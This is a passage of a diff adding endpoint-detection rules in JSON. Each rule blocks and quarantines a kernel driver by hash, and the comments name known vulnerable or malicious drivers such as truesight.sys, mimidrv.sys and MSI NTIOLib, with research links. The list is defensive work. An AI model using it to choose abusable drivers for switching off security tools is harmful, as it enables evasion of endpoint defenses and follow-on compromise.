+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140511Z",
+  "creation_date": "2026-03-23T11:45:31.140513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f06489a6a790e5b2165fee14c6b35c31f6450f102a8bf14db59bdae51f38f8d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40974e93-174e-52a2-9028-ec3f4387fd57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466100Z",
+  "creation_date": "2026-03-23T11:45:30.466103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f58e09651d48d2b1bcec7b9f7bb85a2d1a7b65f7a51db281fe0c4f058a48597",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "409fe022-4e7c-534c-b559-a818a1df5a54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835025Z",
+  "creation_date": "2026-03-23T11:45:30.835029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3fc6e204a8983d7c9a967c3919d41b0b04745c38086ea94fc80f60d8b4520db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40a13e3b-770c-5f3f-bbe5-4ca59cf152c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981241Z",
+  "creation_date": "2026-03-23T11:45:29.981244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2ed6c1906663016123559d9f3407bc67f64e0d235fa6f10810a3fa7bb322967",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40b7d1e4-aa34-5bac-a41d-ecfd7318574f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977604Z",
+  "creation_date": "2026-03-23T11:45:29.977606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977612Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a52a6fe55bd1c294d6f26b68839770d97850e9ccd5ecfd7f96b9dc4386e0ff08",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40b99a0a-943e-5e3a-a20b-3c9729a77b47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615152Z",
+  "creation_date": "2026-03-23T11:45:29.615154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d33f19a12cd8e8649a56ce2a41e2b56d2ed80f203e5ededc4114c78ef773ffa8",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40b9c474-0a2f-5e85-a3ff-027294c7ac97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825211Z",
+  "creation_date": "2026-03-23T11:45:30.825214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82f20f52a3e0951ecd4684068ad79d0c0f0efb6810633cee7b195feff842c997",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40c2ced3-6593-52ff-b103-7ff0d083fa52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825237Z",
+  "creation_date": "2026-03-23T11:45:30.825240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07d4944c3487b593ae998a8e63fb5d126e65c070bf496618174100b4bc560c3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40ca5533-3d89-5817-98be-ab9c6f613de8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485515Z",
+  "creation_date": "2026-03-23T11:45:31.485519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69081c612cd0536f5c5396c1b570c3b5ae63aa2053d83c3c381437899018c8ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40ca7117-6213-5a9a-8ce4-d165080ab765",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617896Z",
+  "creation_date": "2026-03-23T11:45:29.617898Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "159dcf37dc723d6db2bad46ed6a1b0e31d72390ec298a5413c7be318aef4a241",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40da7d9a-89d3-54b6-b4a3-c07954902ed1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613888Z",
+  "creation_date": "2026-03-23T11:45:29.613890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "543c3f024e4affd0aafa3a229fa19dbe7a70972bb18ed6347d3492dd174edac5",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40e7da86-a488-59a9-a674-b15cac9c3914",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616294Z",
+  "creation_date": "2026-03-23T11:45:29.616296Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc22977ff721b3d718b71c42440ee2d8a144f3fbc7755e4331ddd5bcc65158d2",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40ef771e-b860-5576-bbd0-6397a9fa6ba8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472611Z",
+  "creation_date": "2026-03-23T11:45:31.472614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62d9564c56479d3c20474f2a0a563d9fd674d8546de2c9b92d54a6c6d909aae2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40f0aa3e-e04b-5113-9a12-42e323c248f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821612Z",
+  "creation_date": "2026-03-23T11:45:30.821615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dda2a604bb94a274e23f0005f0aa330d45ca1ea25111746fb46fa5ef6d155b1d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40f26117-0b2a-5270-89ba-8987b7df09b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480401Z",
+  "creation_date": "2026-03-23T11:45:30.480407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b465faf013929edf2f605c8cd1ac7a278ddc9a536c4c34096965e6852cbfb51",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40fa6648-8ac5-5c00-94ae-bd7aa0cb522f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484656Z",
+  "creation_date": "2026-03-23T11:45:31.484659Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484669Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0c18166aadea1991c0ce4c7c5005c69d46cb9f641632e2fcc76ca4904ce1097",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "40fc0a8c-7d0e-5130-a1b5-18b1c7919e99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813630Z",
+  "creation_date": "2026-03-23T11:45:31.813632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "142889356b39784bbeb55dd363909856502fb3e5f6fb506c46eb6ecbe4de3269",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4101429b-28fa-5714-b24e-ffe18be8aad8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464246Z",
+  "creation_date": "2026-03-23T11:45:30.464249Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464258Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee7b8eb150df2788bb9d5fe468327899d9f60d6731c379fd75143730a83b1c55",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41070809-348d-5f77-873a-25533d9b99d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471348Z",
+  "creation_date": "2026-03-23T11:45:30.471352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471362Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1d0fdfddddfe520afc18b79b18b5eef730f7586639bd05857a41c0d09a9b9e6",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/fbdd993b-47b1-4448-8c41-24c310802398/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41184a19-2d2e-5be1-a61f-ce9d5417a2b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831236Z",
+  "creation_date": "2026-03-23T11:45:30.831238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb0e276462962a84013194cd6f17cd604ac7775ffeea4ef4af3b2a510fc3a116",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "411b3cfd-b389-50de-8042-4a714c66310c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605989Z",
+  "creation_date": "2026-03-23T11:45:29.605991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41292acc-d9b3-5747-9f86-f3709c2082a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493329Z",
+  "creation_date": "2026-03-23T11:45:31.493331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be322d0beee8d45e0408de69ef9a27dddbefddf20f598716287bb16d3e4db549",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4130a484-9097-5047-8497-3842db87ca41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
